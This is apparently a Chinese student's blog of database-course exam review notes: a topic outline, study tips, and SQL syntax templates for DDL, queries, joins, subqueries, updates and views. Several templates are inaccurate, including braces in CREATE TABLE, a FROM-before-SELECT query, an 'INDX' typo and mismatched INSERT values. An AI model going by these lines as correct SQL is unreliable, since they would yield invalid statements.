大纲\u003c/h2\u003e\u003cul\u003e\u003cli\u003e绪论\u003cul\u003e\u003cli\u003e特点,概念,发展\u003c/li\u003e\u003cli\u003e数据模型:层次,网状,关系\u003c/li\u003e\u003cli\u003e结构:三级模式,二级映像\u003c/li\u003e\u003cli\u003e组成\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e关系数据库\u003cul\u003e\u003cli\u003e关系数据结构\u003c/li\u003e\u003cli\u003e关系操作!\u003c/li\u003e\u003cli\u003e关系完整性:实体完整性,参照完整性,用户定义的完整性\u003c/li\u003e\u003cli\u003e关系代数!\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eSQL\u003cul\u003e\u003cli\u003e定义{模式,表,索引,数据字典} \u003c/li\u003e\u003cli\u003e查询:单表,连接,嵌套,集合,派生表\u003c/li\u003e\u003cli\u003e更新:插入,修改,删除\u003c/li\u003e\u003cli\u003e空值,试图\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e安全性\u003cul\u003e\u003cli\u003e安全性控制:用户身份控制,存取控制,自主存取控制,授权\u0026#x2F;收回,抢注存取控制方法\u003c/li\u003e\u003cli\u003e视图 - 审计 - 数据加密\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库完整性\u003cul\u003e\u003cli\u003e实体完整性,参照完整性,用户定义的完整性\u003c/li\u003e\u003cli\u003e完整性约束命名子句\u003c/li\u003e\u003cli\u003e断言\u003c/li\u003e\u003cli\u003e触发器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e关系数据理论\u003cul\u003e\u003cli\u003e规范化\u003cul\u003e\u003cli\u003e函数依赖 - 码 - 范式 - 2NF - 3NF - BCNF - 多值依赖和4NF\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据依赖的公理系统 - 模式分解\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库设计\u003cul\u003e\u003cli\u003e数据字典\u003c/li\u003e\u003cli\u003e概念模型\u003c/li\u003e\u003cli\u003eE-R模型及其扩充\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库编程\u003cul\u003e\u003cli\u003e嵌入式SQL:处理过程,通信(游标,动态SQL)\u003c/li\u003e\u003cli\u003e过程化SQL\u003c/li\u003e\u003cli\u003e存储过程和函数\u003c/li\u003e\u003cli\u003eODBC编程\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e关系查询处理和查询优化\u003cul\u003e\u003cli\u003e查询处理步骤,优化\u003c/li\u003e\u003cli\u003e代数优化,物理优化\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e数据库恢复技术\u003cul\u003e\u003cli\u003e事务概念和特点 - 恢复概述 - 故障种类,恢复技术和策略\u003c/li\u003e\u003cli\u003e并发控制\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e整理的不是特别全乎,不过也涵盖不少了。往年大题就那几道,题型相对固定,针对性做题,做会题就算复习完了。\u003c/p\u003e\u003cp\u003e上面的知识点里边特别重要的就那几个:\u003cstrong\u003e关系代数,关系完整性,SQL,关系数据理论和事务与并发,查询优化\u003c/strong\u003e这几个。其他零碎的小知识点有印象就行了。\u003c/p\u003e\u003cp\u003e复习方法一是做题,最好是看答案;二是看例子,例题,然后递归复习知识点,效率最高。三是下策,先看知识点,再做题,适合开始复习比较早,时间充裕的情况,也是最充分的复习,但是问题是容易动力不足。\u003c/p\u003e\u003ch2 id=\"SQL\"\u003e\u003ca href=\"#SQL\" class=\"headerlink\" title=\"SQL\"\u003e\u003c/a\u003eSQL\u003c/h2\u003e\u003ch3 id=\"CREATE-DROP-ALTER\"\u003e\u003ca href=\"#CREATE-DROP-ALTER\" class=\"headerlink\" title=\"CREATE,DROP,ALTER\"\u003e\u003c/a\u003eCREATE,DROP,ALTER\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e SCHEMA \u003cspan class=\"operator\"\u003e\u0026lt;\u003c/span\u003e\u0026quot;name\u0026quot;\u003cspan class=\"operator\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAUTHORIZATION\u003c/span\u003e \u0026quot;username\u0026quot;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e SCHEMA \u0026quot;name\u0026quot; [CASCADE\u003cspan class=\"operator\"\u003e/\u003c/span\u003eRESTRICT];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;name\u0026quot;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123; Col1 \u003cspan class=\"type\"\u003eVARCHAR\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ePRIMARY\u003c/span\u003e KEY,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Col2 NUMBER(\u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eNOT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eNULL\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUNIQUE\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e Col3 \u003cspan class=\"type\"\u003eINT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eFOREIGN\u003c/span\u003e KEY(Sno) \u003cspan class=\"keyword\"\u003eREFERENCES\u003c/span\u003e TABLE2(Sno),\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eCHECK\u003c/span\u003e(Col1 \u003cspan class=\"operator\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e Col1 \u003cspan class=\"operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"number\"\u003e10\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e schema.tablename\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e 同上\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e SCHEMA \u0026quot;name\u0026quot; \u003cspan class=\"keyword\"\u003eAUTHORIZATION\u003c/span\u003e \u0026quot;user\u0026quot; \u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;table1\u0026quot;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e 同上\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eALTER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;name\u0026quot; [\u003cspan class=\"keyword\"\u003eADD\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCOLUMN\u003c/span\u003e name \u003cspan class=\"type\"\u003eVARCHAR\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eADD\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUNIQUE\u003c/span\u003e(Cname) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eADD\u003c/span\u003e \u003cspan class=\"keyword\"\u003eFOREIGN\u003c/span\u003e KEY(Cno) \u003cspan class=\"keyword\"\u003eREFERENCES\u003c/span\u003e Student(Cno) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e Col1 CASCADE\u003cspan class=\"operator\"\u003e|\u003c/span\u003eRESTRICT\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCONSTRAINT\u003c/span\u003e “completeness” CASCADE\u003cspan class=\"operator\"\u003e|\u003c/span\u003eRESTRICT\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eALTER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCOLUMN\u003c/span\u003e Col1 \u003cspan class=\"type\"\u003eVARCHAR\u003c/span\u003e(\u003cspan class=\"number\"\u003e114514\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eTABLE\u003c/span\u003e \u0026quot;name\u0026quot; CASCADE\u003cspan class=\"operator\"\u003e|\u003c/span\u003eRESTRICT;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"INDEX\"\u003e\u003ca href=\"#INDEX\" class=\"headerlink\" title=\"INDEX\"\u003e\u003c/a\u003eINDEX\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUNIQUE\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003eCLUSTER INDEX \u0026quot;index_name\u0026quot; \u003cspan class=\"keyword\"\u003eON\u003c/span\u003e tableName(Col1 \u003cspan class=\"keyword\"\u003eDESC\u003c/span\u003e, Col2 \u003cspan class=\"keyword\"\u003eASC\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eALTER\u003c/span\u003e INDX \u0026quot;old_index\u0026quot; RENAME \u003cspan class=\"keyword\"\u003eTO\u003c/span\u003e \u0026quot;new_index\u0026quot;;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e INDEX \u0026quot;index_name\u0026quot;;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"SELECT\"\u003e\u003ca href=\"#SELECT\" class=\"headerlink\" title=\"SELECT\"\u003e\u003c/a\u003eSELECT\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e [\u003cspan class=\"keyword\"\u003eDISTINCT\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eALL\u003c/span\u003e] \u003cspan class=\"number\"\u003e2022\u003c/span\u003e\u003cspan class=\"operator\"\u003e-\u003c/span\u003etable1.age,table2.Sname\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e [\u0026quot;table1\u0026quot; \u003cspan class=\"operator\"\u003e|\u003c/span\u003e \u0026quot;view1\u0026quot;]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e age\u003cspan class=\"operator\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"number\"\u003e5\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eOR\u003c/span\u003e age\u003cspan class=\"operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"number\"\u003e7\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e Sdept\u003cspan class=\"operator\"\u003e=\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#x27;CS\u0026#x27;\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e age [\u003cspan class=\"keyword\"\u003eNOT\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eBETWEEN\u003c/span\u003e \u003cspan class=\"number\"\u003e20\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e \u003cspan class=\"number\"\u003e30\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e Sdept \u003cspan class=\"keyword\"\u003eIN\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;CS\u0026#x27;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;MA\u0026#x27;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e name \u003cspan class=\"keyword\"\u003eLIKE\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#x27;张____\u0026#x27;\u003c/span\u003e \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e GRADE \u003cspan class=\"keyword\"\u003eIS\u003c/span\u003e \u003cspan class=\"keyword\"\u003eNULL\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eGROUP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e Col2 \u003cspan class=\"keyword\"\u003eHAVING\u003c/span\u003e \u003cspan class=\"built_in\"\u003eAVG\u003c/span\u003e(Grade)\u003cspan class=\"operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"number\"\u003e90\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eORDER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e Col1 \u003cspan class=\"keyword\"\u003eDESC\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e连接查询时,列举全部属性列,去掉相同的列就是自然连接。\u003c/p\u003e\u003cp\u003e单表连接查询:\u003c/p\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e Course.FIRST, Course.SECOND\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e FIRST.Cno, SECOND.Cpno\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e FIRST.Cpno\u003cspan class=\"operator\"\u003e=\u003c/span\u003eSECOND.Cno;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e外连接查询\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e table1 \u003cspan class=\"keyword\"\u003eLEFT\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eRIGHT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eOUTER\u003c/span\u003e \u003cspan class=\"keyword\"\u003eJOIN\u003c/span\u003e table2 \u003cspan class=\"keyword\"\u003eON\u003c/span\u003e\u003cspan class=\"operator\"\u003e|\u003c/span\u003e\u003cspan class=\"keyword\"\u003eUSING\u003c/span\u003e(table1.sno\u003cspan class=\"operator\"\u003e=\u003c/span\u003etable2.sno) \u003cspan class=\"operator\"\u003e/\u003c/span\u003e\u003cspan class=\"operator\"\u003e/\u003c/span\u003e \u003cspan class=\"keyword\"\u003eUSING\u003c/span\u003e去重\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003e%_\u003c/code\u003e任意字符、一个字符,汉字\u003cstrong\u003e长两个字符\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e子查询使用\u003ccode\u003eIN\u003c/code\u003e关键字,阅读\u0026#x2F;构造时从内部构造。下面的例子相当于是将子查询的结果作为父查询的语句的参数了。\u003c/p\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e Sno, Sname, Sdept\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e Student\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e Sdept \u003cspan class=\"keyword\"\u003eIN\u003c/span\u003e (\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e Sdept\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e Student\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e Sname\u003cspan class=\"operator\"\u003e=\u003c/span\u003e\u003cspan class=\"string\"\u003e\u0026#x27;lex\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e) \u003cspan class=\"keyword\"\u003eAND\u003c/span\u003e xxx;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e还有\u003ccode\u003eEXISTS\u003c/code\u003e子查询,跟上边\u003ccode\u003eIN\u003c/code\u003e差不多,不过意思是将”至少存在一个查询结果“作为查询选择器的条件。\u003c/p\u003e\u003cp\u003e多个查询可以用\u003ccode\u003eUNION,, INTERSECT, EXCEPT\u003c/code\u003e分别进行并,交,差三个集合运算,目标的数据结构必须相同。\u003c/p\u003e\u003ch3 id=\"INSERT-UPDATE-DELETE\"\u003e\u003ca href=\"#INSERT-UPDATE-DELETE\" class=\"headerlink\" title=\"INSERT,UPDATE,DELETE\"\u003e\u003c/a\u003eINSERT,UPDATE,DELETE\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eINSERT\u003c/span\u003e \u003cspan class=\"keyword\"\u003eINTO\u003c/span\u003e \u003cspan class=\"keyword\"\u003etable\u003c/span\u003e(Col1, Col2) [\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eVALUES\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;4\u0026#x27;\u003c/span\u003e) \u003cspan class=\"operator\"\u003e|\u003c/span\u003e \u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eSELECT\u003c/span\u003e xxx \u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e xxx \u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e xxx \u003cspan class=\"keyword\"\u003eGROUP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e xxx\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eUPDATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003etable\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eSET\u003c/span\u003e Col1\u003cspan class=\"operator\"\u003e=\u003c/span\u003exxx\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e cond;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDELETE\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eFROM\u003c/span\u003e \u003cspan class=\"keyword\"\u003etable\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eWHERE\u003c/span\u003e cond;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"VIEW\"\u003e\u003ca href=\"#VIEW\" class=\"headerlink\" title=\"VIEW\"\u003e\u003c/a\u003eVIEW\u003c/h3\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eCREATE\u003c/span\u003e \u003cspan class=\"keyword\"\u003eVIEW\u003c/span\u003e vname(Col1,Coln)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eAS\u003c/span\u003e 子查询\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e[\u003cspan class=\"keyword\"\u003eWITH\u003c/span\u003e \u003cspan class=\"keyword\"\u003eCHECK\u003c/span\u003e OPTION]\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eGROUP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eBY\u003c/span\u003e xxx;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight sql\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eDROP\u003c/span\u003e \u003cspan class=\"keyword\"\u003eVIEW\u003c/span\u003e vname 